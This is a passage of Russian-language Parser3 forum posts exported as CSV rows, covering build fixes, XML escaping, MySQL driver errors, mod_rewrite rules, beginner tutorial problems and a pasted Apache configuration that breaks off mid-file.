Еще пример - тут полная аналогия с script lang=parser3:\
В XUL-документе есть <iframe src=\"parser://part/to/script\"/> В оном фрейме можно видеть выдачу скрипта (хоть HTML со всеми вытекающими формами и приемами, хоть опять XUL). Если кому то удобно делать формы на Parser - плиз. В этом случае из XUL можно изучить 2 тега (window и iframe :) Собственно, моя первая админка работала именно так, XUL приложение заменяло браузер, но нужно же было все равно локальный сервер запускать. В данном случае - не нужно. Это, по моему, самый быстрый путь для не желающих ковыряться в XUL/XPCOM.\
\
Дополнительно приходит в голову:\
- Написание GUI для тестов модулей. В этом случае локальный сервер и на фиг не нужен, а приходится его только за ради GUI в HTML запускать.\
\
И т.п. Вообще-то тема очень интересна, хочется верить, что Parser продолжит развитие, а то я уже было совсем собрался со своми XUL в PHP5 мигрировать :) Если тема будет иметь продолжение - с удовольствием поучаствую в процессе как мимнимум тестером или кем угодно еще в меру скромных сил."
"38556","Упс. В смысле - требования к инструменту ? Mozilla XUL/XPCOM - сам по себе инструмент нехилый :) Имеет все прибамбасы в смысле SOAP etc. На мой взгляд - лучше, чем .NET для целей админок сайтов. Голосовать за него не нужно, он уже сесть, можно пользоваться. XUL Runner для разработки standalone приложений - скоро будет официальный, неофициальный для Win можно у меня скачать.\
По моему речь надо вести о скрещивании Parser с XUL. Если у кого есть опыт - было бы неплохо сформулировать пожелания, а ? Я свои три копейки внес :)"
"38557","Как настроить обработчик ошибки 404? На локальном сервере через .htaccess всё нормально. А на хостинге ошибка парсера."
"38558","не, не помогут (:\
эти я и сам нашел ((:"
"38560","это же не юзеры, их меньше и они более вменяемы... так что привязка к продукту - в данном случае не минус...\
в начале вообще была идея создать свой .exe, вот его бы качать было странно для других админов сайтов..."
"38562","Текст из поля БД скидываю в файл формата XML. И через ^untaint[xml], и через свой метод пытаюсь заменять & на &amp;, < на &lt;, > на &gt;, ' на &apos; и \" на &quot; Все замены успешны, кроме апострофа! :(\
\
Как с этим бороться?"
"38563","Может быть, вас уже этим задолбали, не знаю.\
http://www.artlebedev.ru/portfolio/backstage//////////////////////////////////////"
"38564","[code]\
^xdoc::create{<?xml version=\"1.0\" encoding=\"$request.charset\"?>\
<document>\
   <field>$table.field</field>\
</document>\
}\
^xdoc.save[test.xml]\
[/code]\
\
и будет всё работать. вручную ничего taint тут не нужно."
"38565","У меня FreeBSD4.10 MySQL4.1.10a Parser3.1.4 Apache2.0.52\
Я решил сделать все стройно и красиво - все в utf8. Все базы в utf8\
русский, немецкий, греческий - и ни каких проблем.\
Но проблемы возникли - SQL запрос возвращает для некоторых символов неверные значения.\
Для кириллической страницы utf8 неправильный код выдается для\
 Ё,Н,А,э,я,с.\
Во FreeBSD я не особенно хороший администратор. Когда пытался ставить из портов mysql41-server возникали ошибки компиляции с которыми я не спавился.\
Я поставил его с http://dev.mysql.com/downloads/mysql/4.1.html,\
но когда заглянул в каталог lib увидел там лишь\
-rw-r--r--  1 root  mysql     56580 Mar  4 02:08 libdbug.a\
-r--r--r--  1 root  mysql    140082 Mar  4 02:08 libmygcc.a\
-rw-r--r--  1 root  mysql      1685 Mar  4 02:08 libmysql.imp\
-rw-r--r--  1 root  mysql   3863806 Mar  4 02:08 libmysqlclient.a\
-rw-r--r--  1 root  mysql   4411210 Mar  4 02:08 libmysqlclient_r.a\
-rw-r--r--  1 root  mysql  43831620 Mar  4 02:08 libmysqld.a\
-rw-r--r--  1 root  mysql   1837054 Mar  4 02:08 libmystrings.a\
-rw-r--r--  1 root  mysql   3158718 Mar  4 02:08 libmysys.a\
Нужного мне(парсеру) libmysqlclient.so не было.\
Раньше у меня стоял MySQL3.23.58 я недолго думая взял его клиента:\
libmysqlclient.so.14.\
Может быть проблема именно в этом?\
Подскажите, пожалуйста. Если интересно можно посмотреть [url=\"test.iws.baikal.ru\"]все это[/url] в действии."
"38566","совместно с: http://www.parser.ru/forum/?id=38536\
\
Parser3 на клиенте это хорошо, только не вижу в этом нужды - громоздко. Хотя придаст больший функционал.\
Как ты говориш - \"Внимание вопрос!\" :)\
- нужен ли нам больший функционал?\
\
Обдумывал со вчерашнего дня эту мысль, топтал и пинал ее как только мог.\
\
Решил, что полного функционала необходим ImprimaturII :) но не делать же второй.\
\
ИМХО нужен минимальный набор для постройки сайтов.\
\
---------------------------------------------------\
Есть следующая идея:\
(берем Мишкин админ в основу мысли: http://misha.design.ru/hobby/progr/engine.html)\
Делаем .CHM файл в котором следующие объекты JavaScript (названия для примера):\
- HTMLPage: основной конструктор динамической страницы.\
- FORMCreator: здесь описываем все стандартные и не стандартные элементы форм для дальнейшей постройки разного вида форм.\
- DATALoader: элемент для загрузки и предварительной обработки данных (в случае надобности) с сервера.\
- TREECreator: загрузка и генерация структуры сайта.\
- [other_objects]: по вкусу.\
\
Соответственно в .CHM должна быть страницы:\
- входная, где указываем адрес нашего серверного скрипта, который в свою очередеь будет взаимодействовать с нами и отдавать/принимать/обрабатывать данные.\
- страница для работы со структурой сайта и контекстом сайта.\
- страница для создания/редактирования новых/используемых элементов Parser, а также XSL шаблонов (в случае необходимости).\
- другие страницы (по вкусу).\
\
Ну и естественно необходим стандартный минимальный движек для этого дела на серверной стороне (написанный на Parser), который будет отдавать нам указания о том, что необходимо построить .CHM файлу (какие страницы/формы, какие данные в них вставить).\
Принимать инструкции/данные можно в разном виде:\
- .js\
- .xml\
- JSHttpRequest, про который ты писал на почту.(http://www.parser.ru/forum/?id=37465)\
отсылать стандартно как с веб-страниц в скрытом фрейме.\
---------------------------------------------------\
\
надеюсь не слишком завернул."
"38567","в системе можно регистрировать свои протоколы.\
есть http:, есть ftp:, можно добавить parser:\
\
выглядит так:\
после выполнения OurApplicationSetup.exe создаётся иконка, открывающая такой адрес:\
[code]\
parser:c:/program files/OurApplication/\
[/code]\
\
дальше приложение работает также, как и на веб-сервере, [b]только никакого веб-сервера нет[/b].\
данные можно хранить где угодно.\
вариант: Microsoft Access (*.mdb), ODBC драйвер к которому уже установлен во всех Windows изначально, даже если не был установлен MS Office.\
\
такой подход представляется самым близким к текущему положению вещей.\
\
вот что полезного приходит на ум [если эта идея будет реализована]: \
1. всякие интерактивные штуки, записываемые на CD.\
2. локальные приложения в духе MS Money | MS Outlook 2003."
"38568","Коль уже вспомнили XS, а следом XUL, то полагаю будет уместной следующая информация:\
\
[b]XML Sapiens и языки описания интерфейсов[/b]\
\
XML Sapiens может использоваться для декларирования рендеринга пользовательского интерфейса, но не содержит API для доступа к какой-либо библиотеке компонентов приложения на стороне клиента подобно языкам XAML, XUL, MXML (Flex).\
\
XML Sapiens может совместно использоваться с языком UIML (www.uiml.org) для динамического формирования каркаса области приложения и списка определений элементов (содержание элементов APP/DEFINE).\
\
С помощью XML Sapiens также можно расширять исходные документы XUL (http://www.mozilla.org/projects/xul/), XAML (http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnintlong/html/longhornch03.asp), Flex (http://www.macromedia.com/software/flex/), Web Applications 1.0 (http://www.whatwg.org/specs/web-apps/current-work/) для определения областей редактируемого содержания и  задания моделей форм интерфейсов.\
\
В апрельском выпуске PHP Inside подробная статья об языках разметки интерфейсов"
"38570","Спасибо! Сделал. Да, действительно, всякие замены в ручную лишние. Но результат у меня получился, к сожалению, тот же! Всё кроме апострофа заменено. Только \" ' \" везде. Может это нормально?"
"38571","Идея верная, скоро клиенты будут максимально интегрироваться с сетью (года через два). Примером может служить тот же .NET, идея же обойтись малой кровью возимеет действии только в случае если за неё возьмуться достаточно опытные разработчики. Вопрос только один - зачем этим опытным разработчикам - если они сыты и трудоустроены работать над этим проектом? Разве чтобы голову поламать. \
А для поддержки большинства проектов достаточно иметь веб-интерфейс. Все крупные проекты всё равно делает Студия ;)"
"38572","тут важно вот что:\
чтобы xdoc::create прошёл успешно даже в таком случае:\
http://test/test.html?value=everything'is'ok\
[code]\
$xdoc[^xdoc::create{<?xml version=\"1.0\" encoding=\"$request:charset\" ?>\
<doc att='$form:value'/>}]\
^xdoc.string[]\
[/code]\
\
тут происходит следующее:\
на вход xdoc::create уйдёт это:\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<doc att='everything&apos;is&apos;ok'/>\
[/code]\
\
а на выходе libxml подходит к созданию кода атрибута с ' и \" творчески:\
[code]\
<?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>\
<doc att=\"everything'is'ok\"/>\
[/code]\
\
обратите внимание на знак после attr="
"38573","вот например как вариант - сложить в hashfile описания ошибок из friendly unhandled exceptions, которое идёт в комплекте швенцарского ножика. Оно было бы куда интереснее чем таскать это всё в ГКФ (rusage-musage невозможно нормально померять), или даже подгружать как таблицу.\
\
Ещё интересна проблема с переносимостью hashfile, если я, например, набью в него данные из под Вин, а потом перетащу это дело на Никс, не заломается ли вседствие этих манипуляций его хитрая постраничная структура?"
"38575","Поставил себе задачу преобразовывать OpenOffice xml файлы в html посредством xslt. При использовании стилевых листов от производителя OO.o возникает ошибка, смысл которой в том, что [b] файлы, на которые ссылается xls:include не могут быть найдены[/b], ну и другие ошибки, которые меня сейчас пока не интересуют. [b]Собственно, вопрос, что я неправильно делаю?[/b] Поискал ответ на форуме, но чего-то не совсем всё понятно.\
Слить все файлы в один не предлагать :)\
\
Заранее спасибо."
"38577","может так люди и помогут."
"38578","Здравствуйте!\
\
Кому-нибудь удалось собрать parser на FreeBSD-5.x или CURRENT?"
"38581","А когда будет готов????"
"38582","Вот с таким патчем оно собирается, но как оно будет работать, одному аллаху известно. Я C++ не знаю.\
\
--- src/include/pa_stack.h.orig	Fri Mar 25 14:55:19 2005\
+++ src/include/pa_stack.h	Fri Mar 25 14:55:49 2005\
@@ -20,7 +20,7 @@\
 	Stack(): ftop(0) {}\
 \
 	void push(T item) {\
-		if(ftop<count()) // cell is already allocated?\
+		if(ftop<this->count()) // cell is already allocated?\
 			put(ftop, item); // use it\
 		else\
 			*this+=item; // append it\
@@ -28,7 +28,7 @@\
 	}\
 \
 	T pop() {\
-		return get(--ftop);\
+		return this->get(--ftop);\
 	}\
 \
 	bool is_empty() { return ftop==0; }\
@@ -36,13 +36,13 @@\
 	void set_top_index(size_t atop) { ftop=atop; }\
 	T top_value() { \
 		assert(!is_empty());\
-		return get(ftop-1); \
+		return this->get(ftop-1); \
 	}\
 \
 	/// call this prior to collecting garbage [in unused part of stack there may be pointers(unused)]\
 	void wipe_unused() {\
-		if(size_t above_top_size=fused-ftop)\
-			memset(&felements[ftop], 0, above_top_size*sizeof(T));\
+		if(size_t above_top_size=this->fused-ftop)\
+			memset(&(this->felements[ftop]), 0, above_top_size*sizeof(T));\
 	}\
 \
 protected:"
"38584","По мере создания столкнулся с проблемкой...\
Суть: \
- У меня две панели навигации, одна основная (видна постоянно)...\
- Вторая видна только если существуют под-категории (и отображает их)...\
\
Проблема:\
В основном меню, всё красиво отображается. Если активно - то жирненьким и минус ссылка. Все правильно.\
Но при переходе в под категорию \"активность\" в основном пропадает...\
\
Если $request:uri был равен [/news/] то отображаеться как актив...\
НО у меня получаеться что при переходе в под категорию, например Новости/2005 $request:uri равен [/news/2005/]\
\
Вопрос:\
Как сделать, чтоб он проверял не абсолютное совпадение EQ - а наличие /news/ в строке $requiest:uri?"
"38587","Есть файл который создан по образцу и содержит объявления...\
Пример: avto.txt (500 записей)\
Содержание:\
[quot]\
#ВАЗ 2110 в отличном состоянии $$ 200,000 рублей @@ Т: 555-555 г.Краснодар, ул. Новая 1\
#ВАЗ 2109 в никаком состоянии $$ 2,000 рублей @@ Т: 555-255 г.Краснодар, ул. Новая 2\
[/quot]\
И т.д.\
\
Я сделал форму добавления обявлений в БД...\
используя type=\"file\"\
\
Как сделать чтоб она используя спец.символы в файле \"#\",\"$$\" и \"@@\" разбивала ac. эту кучу объявлений на три элемента \"Текст, Цена, Адрес\" и добавлял в БД в три ячейки \"body\", \"price\" и \"address\". \
При этом проверяя наличие уже внесенных данных и не добавляя совпадающие..."
"38588","Разбейте задачу на элементарные действия и выполняйте их, опираясь, главным образом, на исчерпывающую документацию.\
\
P. S. Если есть возможность повлиять на формат исходных данных - повлияйте."
"38589","В который раз для себя пометил, что надо просто вызубрить доки :)"
"38590","Вот так вот это сделал я по совету CODer'a и информации из Доков :)\
\
[code]\
@navigation[]\
^if($request:uri ne \"/\"){<a href=\"/\">Главная</a><br>}{<font class=\"menuact\">Главная</font><br>}\
$sections[^table::load[/sections.cfg]]\
   ^sections.menu{\
	^navigation_cell[]\
   }[<br>]\
\
@navigation_cell[]\
^if(def $sections.uri){\
	^if(in \"$sections.uri\"){\
		<font class=\"menuact\"><nobr>$sections.name</nobr></font>\
	}{\
		<font class=\"content\"><a href=\"$sections.uri\" onFocus=\"this.blur()\"><nobr>$sections.name</nobr></a></font>\
	}\
}{\
	<br><font class=\"content\"><nobr><b>$sections.name</b></nobr></font>\
}\
[/code]\
\
Уверен его можно и упростить... Это уже Ваше дело :)\
Парсер - Работает! Вы - отдыхаете :)"
"38598","Возможно очень глупо, но как мне сделать преобразование типа этого:\
в браузере /write/test_something/, а на самом деле /write/?test_something\
Я делал это с числами так :\
[code]RewriteBase /write/\
RewriteRule ^([0-9]+)/$ /write/?$1\
RewriteRule ^([0-9]+)$ /write/$1/ [R][/code], когда мне нужно было в браузере\
/write/1/, а на самом деле /write/?1. Я пробовал вот так :\
[code]RewriteBase /write/\
RewriteRule ^([a-z]+)/$ /write/?$1\
RewriteRule ^([a-z]+)$ /write/$1/ [R][/code], но не работает. Где ошибка?"
"38599","В вашем шаблоне разрешены только латинские строчные буквы. Напишите [a-z[b]_[/b]], чтобы разрешить _."
"38601","Собираю парсер + драйвер для mysql из cvs, версия 3.1.4, сборка проходит нормально, парсер работает, но драйвер к бд не работает - \
$sqldriversdir/libparser3mysql.so: undefined symbol: __gxx_personality_v0\
$sqldriversdir/libparser3mysql.so\
в чем может быть трабла?"
"38603","Может быть кто нибудь хоть пример обработки файла покажет...\
Я не знаю как добавить...\
Может открыть соединение с БД, а потом пробежаться по строкам, выдергивая значения в переменные и заливая их в базу...\
А потом уже создать дополнительный класс проверки на совпадение. Который будет удалять одинаковые...\
Или как?\
Я просто не знаю как полученный файл обработать...\
Подскажите с ним а дальше я сам...\
\
Вопрос: Как обработать txt файл. \
Посторчно разбить его на переменные, или может загнать их в массив?\
А после влить массив в БД? Или как?\
\
Или вливать в БД сразу во время обработки. \
[quot]Цикл:\
- прочитал строку,\
- Разбил содержимое на три части. \
- Добавил их в новую запись (три колонки) в БД. \
- Перешел к следующей строке. И т.д.[/quot]"
"38604","Прошли уже сутки, а никто так ничего и не пофиксил. Оперативно работаете!"
"38605","тоже мне, критическая ошибка, слеш какой-то, да в здравом уме никто по таким путям не ходит. У половины ЧПУ-ориентированных сайтов такая фича прослеживается (ибо ^uri.trim[both;/] для последующего разбора) и ничего, работают..."
"38606","...то попросите чтобы его вам отдавали в виде, готовом для того чтобы загрузить в БД (MySQL) с помощью load infile... (дока рулит)"
"38607","написать регулярное выражение, которое обработает оный файл и раскинет содержимое в парсерную таблицу, а дальше менюшить её и по-желанию добавлять/обновлять/удалять. Ну или создать один большой SQL-запрос и скормить его."
"38609","прикольно, да... ;)\
Налицо минусы командного подхода, похоже тот кто делал шаблон не нашел общего языка с автором движка... =]"
"38612","http://www.parser.ru/forum/?terms=+__gxx_personality&search_in_message=1&author=&doSearch=%CD%E0%E9%F2%E8"
"38613","собираю так \
[i]./configure --prefix=/usr/lib/cgi-bin/parser3[/i]\
потом в Makefile в правлю LDFLAGS = -lstdc++\
результат - точно такая же ошибка..\
[i] \
    $sqldriversdir/libparser3mysql.so: undefined symbol: __gxx_personality_v0\
    $sqldriversdir/libparser3mysql.so \
\
orange:/home/andrew/projects/parser3/sql/mysql# ld /usr/lib/cgi-bin/parser3/lib/libparser3mysql.so\
ld: warning: cannot find entry symbol _start; not setting start address\
/usr/lib/cgi-bin/parser3/lib/libparser3mysql.so: undefined reference to `vtable for __cxxabiv1::__si_class_type_info'\
/usr/lib/cgi-bin/parser3/lib/libparser3mysql.so: undefined reference to `__gxx_personality_v0'\
/usr/lib/cgi-bin/parser3/lib/libparser3mysql.so: undefined reference to `vtable for __cxxabiv1::__class_type_info'\
\
[/i]\
версии софта - \
[i]\
andrew@orange:~% gcc -v\
Reading specs from /usr/lib/gcc-lib/i486-linux/3.3.5/specs\
Configured with: ../src/configure -v --enable-languages=c,c++,java,f77,pascal,objc,ada,treelang --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-gxx-include-dir=/usr/include/c++/3.3 --enable-shared --enable-__cxa_atexit --with-system-zlib --enable-nls --without-included-gettext --enable-clocale=gnu --enable-debug --enable-java-gc=boehm --enable-java-awt=xlib --enable-objc-gc i486-linux\
Thread model: posix\
gcc version 3.3.5 (Debian 1:3.3.5-10)\
andrew@orange:~% g++ -v\
Reading specs from /usr/lib/gcc-lib/i486-linux/3.3.5/specs\
Configured with: ../src/configure -v --enable-languages=c,c++,java,f77,pascal,objc,ada,treelang --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-gxx-include-dir=/usr/include/c++/3.3 --enable-shared --enable-__cxa_atexit --with-system-zlib --enable-nls --without-included-gettext --enable-clocale=gnu --enable-debug --enable-java-gc=boehm --enable-java-awt=xlib --enable-objc-gc i486-linux\
Thread model: posix\
gcc version 3.3.5 (Debian 1:3.3.5-10)\
\
libstdc++ 1:3.3.5-12\
ibmysqlclient14-dev 4.1.10a-2\
\
[/i]\
ОС - debian 2.6.9"
"38614","Только для этого пришлось взять сорцы драйвера не из cvs а из тарбола с сайта..."
"38618","Полагаю, что решение этой задачи будет наиболее в случае создания фонда (или иной организации) который бы финансировал и организовывал работу в этом направлении."
"38619","Интересно... Когда я тоже копиравол код и вставлял, у меня такого не было.\
Может что-то в настройках sendmail?"
"38620","А там случайно не GET'ом передаеться??? если да, то нужно POST"
"38621","Что делать дальше: читать эту книжку и экспериментировать с примерами из нее, радуясь тому, что на свете есть хорошие стандарты. А также почитать о postprocess, и придумать, как его приспособить, чтобы обращение к XML-файлу вызывало его преобразование в HTML?\
\
\
А как делать"
"38622","Я конечно понимаю, что пока просто ламер и не разбераюсь с parser'ом. Но изучить его конечно очень хочется.\
Самое обидное в том, что я споткнулся уже на втором уроке.\
Делаю всё по документации:\
Открываю файл auto.p и меняем его содержимое на:\
@navigation[]\
$sections[^table::load[/sections.cfg]]\
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\">\
<tr bgcolor=\"#FFFFFF\">\
^sections.menu{\
^navigation_cell[]\
}\
</tr>\
</table>\
<br>\
@navigation_cell[]\
$cell_width[^eval(100\\$sections)%]\
^if($sections.uri eq $request:uri){\
<td width=\"$cell_width\" align=\"middle\" bgcolor=\"#A2D0F2\">\
<nobr>$sections.name</nobr>\
</td>\
}{\
<td width=\"$cell_width\" align=\"middle\">\
<a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
</td>\
}\
В фйле допустим index.html я вписываю: ^navigation[]\
Потом в браузере набираю адрес страницы и у меня вместо долгожданного меню появляется сообщение об ошибке:\
Unhandled Exception (Debug)\
read failed: No such file or directory (2), actual filename 'z:/home/localhost/www/sections.cfg'\
z:/home/localhost/www/sections.cfg\
\
z:/home/localhost/www/parser-scripts/auto.p(2)\
exception.type=file.missing \
--------------------------------------------------------------------------------\
load z:/home/localhost/www/parser-scripts/auto.p(2)\
navigation z:/home/localhost/www/parser-scripts/index.html(6)"
"38623","переводим это: read failed: No such file or directory (2), actual filename 'z:/home/localhost/www/sections.cfg'"
"38624","пишу форму обратной связи, дома все работает (только сама отсылка дома закоментированна), у хостера получаю :\
Unhandled Exception\
post_size(0) != content_length(100)\
\
К чему бы это ?"
"38625","будет ли логично использования такого подхода:\
\
есть объект, у объекта есть обработчик (.cfg), шаблон (.xsl) и блоки (в принципе как в Мишином Engine)\
Сломало голову следующее: у блоков, так же как и объектов [i]могут быть[/i] обработчики и шаблоны, с обработчиками проблем нет, но вот как подключать шаблоны блоков... сначало смотрел в сторону xsl:include, но, в свзяи с тем, что я не знаю какой шаблон у блока (вытаскиваю из <template>...</template>), я не могу подключить его через include... \
\
думаю сделать так: \
грузиться файл с шаблоном объекта (файл без объявлений всяких...) простым ^file::load, сверху ставятся все декларации и т.п. а вниз прикручиваются таким же макаром загруженные шаблоны блоков, все это отправляется трансформировать XML. \
ух... сам ничего не понял... вобщем при таком подходе теряется смысл вообще хранить обработчики в .xsl... \
\
ЗЫ Вобщем скорее всего вопрос к Мише. Было бы очень интересно, как это все у Engine происходит..."
"38627","[i]read failed: No such file or directory (2), actual filename 'z:/home/localhost/www/sections.cfg'[/i]\
\
Значит, [b]Parser не может найти файл[/b] sections.cfg. Проверь наличие файла sections.cfg в папке www, либо проверь его написание, чтобы было не secTioNS.cFg, а sections.cfg..."
"38628","Я привел цитату из последней главы справочника. А вопрос -- как сделать?"
"38629","Ок, спасибо, я разобрарся, оеазывается страница обращалась к файлу auto.p, да не в то место..."
"38630","В уроке написано, что нужно создать БД с именем p3test. Это я сделал. Туда добавить таблицу news с полями: id, date, header,body. Вот тут то и начинаются проблемы... :-(\
\
Я захожу в phpMyAdmin, выбираю базу данных p3test. Загружается страница.\
Там я вижу форму: создать новую таблицу, в которой два поля.\
В поле имя, пишу название таблицы, тоеть news.\
И потом пытаюсь написать в поля: id, date, header,body.\
И когда я нажимаю кнопку \"пошел\", у меня выдаётся сообщение: это не число!\
\
[b]Как cоздавать таблицы в базе данных?[/b]"
"38631","в доках приведен код создания. намек: copy/paste, раз все так тяжко вам дается"
"38632","Что самое обидное, я английский не изучал, французский только, так что в доках не разберуть наверное"
"38633","так может parser подождет? имхо английский важнее... да и доки читать веселее, когда английский знаешь ;)"
"38634","Ну подскажите как это сделать, а то я ни как понять не могу..."
"38636","Этот код вызывает ошибку:\
\
$doc[^xdoc::create{<?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>\
<b:root xmlns:b=\"http://borsuk.spb.ru/\"/>\
}]\
\
$nodeDestination[^doc.selectSingle[/b:root]]\
\
Вот текст ошибки:\
/b:root\
Undefined namespace prefix\
\
В чем дело?"
"38637","вот хочется мне, чтобы не было страничек html )) \
посему появился такое вот руле \
[code]\
RewriteRule	^([0-9]+)/$	index.html?object_id=$1\
[/code]\
все ок, да вот захотелось что красиво ) и в таблицу object добавилось поле path. \
видимо понятно, что объект доставался из базы по $form:object_id\
в башке не может никак уложиться, как я буду доставать объект, если использовать поле path\
не искать же в базе объект по какому-нить $form:path... )) надо по id, а врубиться никак не могу... хелп ми.. )"
"38639","забудь про PHPMYADMIN! те есть не совсем, включи его, выбери базу данных, которая тебе нужна и перейди на вкладку SQLзапрос (или что-то на это похожее), появится окошко, там введи CREATE TABLE имя_таблицы (\
название_столбца параметры\
название_столбца параметры)\
А вообще купи книгу \"SQL запросы для простых смертных\" или что-то похожее!"
"38640","Установил Apache в C:\\usr\\local\\Apache2, установил MySQL в C:\\usr\\local\\MySQL4 и установил Parser в C:\\usr\\local\\Parser3...\
\
Проблема (взято из логов):\
[b][дата] [error] [client 127.0.0.1] Invalid URI in request GET /_test.html HTTP/1.1, referer: http://mosaic[/b]\
\
Содержимое httpd.conf:\
[code]\
ServerRoot \"C:/usr/local/Apache2\"\
\
PidFile logs/httpd.pid\
\
Timeout 300\
\
KeepAlive On\
\
MaxKeepAliveRequests 100\
\
KeepAliveTimeout 15\
\
<IfModule mpm_winnt.c>\
ThreadsPerChild 250\
MaxRequestsPerChild  0\
</IfModule>\
\
Listen 80\
\
LoadModule access_module modules/mod_access.so\
LoadModule actions_module modules/mod_actions.so\
LoadModule alias_module modules/mod_alias.so\
LoadModule asis_module modules/mod_asis.so\
LoadModule auth_module modules/mod_auth.so\
#LoadModule auth_anon_module modules/mod_auth_anon.so\
#LoadModule auth_dbm_module modules/mod_auth_dbm.so\
#LoadModule auth_digest_module modules/mod_auth_digest.so\
LoadModule autoindex_module modules/mod_autoindex.so\
#LoadModule cern_meta_module modules/mod_cern_meta.so\
LoadModule cgi_module modules/mod_cgi.so\
#LoadModule dav_module modules/mod_dav.so\
#LoadModule dav_fs_module modules/mod_dav_fs.so\
LoadModule dir_module modules/mod_dir.so\
LoadModule env_module modules/mod_env.so\
#LoadModule expires_module modules/mod_expires.so\
#LoadModule file_cache_module modules/mod_file_cache.so\
#LoadModule headers_module modules/mod_headers.so\
LoadModule imap_module modules/mod_imap.so\
LoadModule include_module modules/mod_include.so\
#LoadModule info_module modules/mod_info.so\
LoadModule isapi_module modules/mod_isapi.so\
LoadModule log_config_module modules/mod_log_config.so\
LoadModule mime_module modules/mod_mime.so\
#LoadModule mime_magic_module modules/mod_mime_magic.so\
#LoadModule proxy_module modules/mod_proxy.so\
#LoadModule proxy_connect_module modules/mod_proxy_connect.so\
#LoadModule proxy_http_module modules/mod_proxy_http.so\
#LoadModule proxy_ftp_module modules/mod_proxy_ftp.so\
LoadModule negotiation_module modules/mod_negotiation.so\
#LoadModule rewrite_module modules/mod_rewrite.so\
LoadModule setenvif_module modules/mod_setenvif.so\
#LoadModule speling_module modules/mod_speling.so\
#LoadModule status_module modules/mod_status.so\
#LoadModule unique_id_module modules/mod_unique_id.so\
LoadModule userdir_module modules/mod_userdir.so\
#LoadModule usertrack_module modules/mod_usertrack.so\
#LoadModule vhost_alias_module modules/mod_vhost_alias.so\
#LoadModule ssl_module modules/mod_ssl.so\
\
UseCanonicalName Off\
\
<Directory />\
Options Indexes Includes\
AllowOverride All\
</Directory>\
\
<Directory \"C:/usr/local/PHP5\">\
Options ExecCGI\
</Directory>\
\
<Directory \"C:/usr/local/Parser3\">\
Options ExecCGI\
</Directory>\
\
DirectoryIndex index.html\
\
\
AccessFileName .htaccess\
\
<Files ~ \"^\\.ht\">\
    Order allow,deny\
    Deny from all\
</Files>\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
\
\
TypesConfig conf/mime.types\
\
DefaultType text/plain\
\
\
<IfModule mod_mime_magic.c>\
    MIMEMagicFile conf/magic\
</IfModule>\
\
HostnameLookups Off\
\
ServerTokens Full\
\
ServerSignature On\
\
Alias /icons/ \"C:/usr/local/Apache2/icons/\"\
\
<Directory \"C:/usr/local/Apache2/icons\">\
    Options Indexes MultiViews\
    AllowOverride None\
    Order allow,deny\
    Allow from all\
</Directory>\
\
AliasMatch ^/manual(?:/(?:de|en|es|fr|ja|ko|ru))?(/.*)?$ \"C:/usr/local/Apache2/manual$1\"\
\
<Directory \"C:/usr/local/Apache2/manual\">\
    Options Indexes\
    AllowOverride None\
    Order allow,deny\
    Allow from all\
\
    <Files *.html>\
        SetHandler type-map\
    </Files>\
\
    SetEnvIf Request_URI ^/manual/(de|en|es|fr|ja|ko|ru)/ prefer-language=$1\
    RedirectMatch 301 ^/manual(?:/(de|en|es|fr|ja|ko|ru)){2,}(/.*)?$ /manual/$1$2\
</Directory>\
\
ScriptAlias /php/ \"C:/usr/local/PHP5/\"\
\
IndexOptions FancyIndexing VersionSort\
\
AddIconByEncoding (CMP,/icons/compressed.gif) x-compress x-gzip\
\
AddIconByType (TXT,/icons/text.gif) text/*\
AddIconByType (IMG,/icons/image2.gif) image/*\
AddIconByType (SND,/icons/sound2.gif) audio/*\
AddIconByType (VID,/icons/movie.gif) video/*\
\
AddIcon /icons/binary.gif .bin .exe\
AddIcon /icons/binhex.gif .hqx\
AddIcon /icons/tar.gif .tar\
AddIcon /icons/world2.gif .wrl .wrl.gz .vrml .vrm .iv\
AddIcon /icons/compressed.gif .Z .z .tgz .gz .zip\
AddIcon /icons/a.gif .ps .ai .eps\
AddIcon /icons/layout.gif .html .shtml .htm .pdf\
AddIcon /icons/text.gif .txt\
AddIcon /icons/c.gif .c\
AddIcon /icons/p.gif .pl .py\
AddIcon /icons/f.gif .for\
AddIcon /icons/dvi.gif .dvi\
AddIcon /icons/uuencoded.gif .uu\
AddIcon /icons/script.gif .conf .sh .shar .csh .ksh .tcl\
AddIcon /icons/tex.gif .tex\
AddIcon /icons/bomb.gif core\
\
AddIcon /icons/back.gif ..\
AddIcon /icons/hand.right.gif README\
AddIcon /icons/folder.gif ^^DIRECTORY^^\
AddIcon /icons/blank.gif ^^BLANKICON^^\
\
DefaultIcon /icons/unknown.gif\
\
ReadmeName README.html\
HeaderName HEADER.html\
\
IndexIgnore .??* *~ *# HEADER* README* RCS CVS *,v *,t\
\
AddLanguage ca .ca\
AddLanguage cs .cz .cs\
AddLanguage da .dk\
AddLanguage de .de\
AddLanguage el .el\
AddLanguage en .en\
AddLanguage eo .eo\
AddLanguage es .es\
AddLanguage et .et\
AddLanguage fr .fr\
AddLanguage he .he\
AddLanguage hr .hr\
AddLanguage it .it\
AddLanguage ja .ja\
AddLanguage ko .ko\
AddLanguage ltz .ltz\
AddLanguage nl .nl\
AddLanguage nn .nn\
AddLanguage no .no\
AddLanguage pl .po\
AddLanguage pt .pt\
AddLanguage pt-BR .pt-br\
AddLanguage ru .ru\
AddLanguage sv .sv\
AddLanguage zh-CN .zh-cn\
AddLanguage zh-TW .zh-tw\
\
LanguagePriority en ca cs da de el eo es et fr he hr it ja ko ltz nl nn no pl pt pt-BR ru sv zh-CN zh-TW\
\
ForceLanguagePriority Prefer Fallback\
\
AddCharset ISO-8859-1  .iso8859-1 .latin1\
AddCharset ISO-8859-2  .iso8859-2 .latin2 .cen\
AddCharset ISO-8859-3  .iso8859-3 .latin3\
AddCharset ISO-8859-4  .iso8859-4 .latin4\
AddCharset ISO-8859-5  .iso8859-5 .latin5 .cyr .iso-ru\
AddCharset ISO-8859-6  .iso8859-6 .latin6 .arb\
AddCharset ISO-8859-7  .iso8859-7 .latin7 .grk\
AddCharset ISO-8859-8  .iso8859-8 .latin8 .heb\
